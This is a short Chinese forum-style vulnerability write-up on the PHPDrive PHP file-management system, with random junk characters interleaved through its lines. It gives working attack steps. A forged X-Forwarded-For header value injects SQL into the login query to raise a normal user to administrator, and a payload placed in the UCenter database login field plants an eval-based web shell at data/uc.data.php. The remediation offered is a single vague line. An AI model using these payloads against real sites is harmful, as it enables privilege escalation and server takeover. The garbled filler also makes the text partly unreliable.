PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
7 d7 ^9 H& q/ i* D+ R# ?$ T
j2 b/ Q: J! Y+ w; |includes/user.lib.php" v7 N8 c+ c) ^- i* A7 r: T. V
行87; }" }* \! H) |! r4 U- z7 v
function get_ip() {
6 e4 W4 r" c B1 R9 T if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.! H' M7 V1 v* X+ v* K i
在用户注册与登录 处module/disk/account.lead.php
, j* H6 h! a$ ]7 b8 I+ N& ^9 f198行 2 ~7 }: G9 Y: D
//更新本次登录IP和时间
' Q5 I. d8 O/ A* C/ O# a8 l $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
; q" _5 |6 o0 y, j& z t由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限
, f4 {! x- k# R实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.
/ @1 J5 v" u( I# t0 {5 e' J后台getshell:* B6 e. U7 O5 }5 z
在UCenter设置处,将UC数据库登录名填写为
4 ~% L( w0 m2 D' t* ~
- f) J z: Y( t" _. E$ yroot’);eval($_POST[DisKill]);?>/*+ \4 U8 W) i0 h2 e
可以得到一个shell,位置在 data/uc.data.php5 [. ^: z/ j9 D% d# d( X* N
' c6 _( a6 |* v
修复:过滤注入
- T; V& r9 h. y% E; s5 _/ _% G+ G7 T
|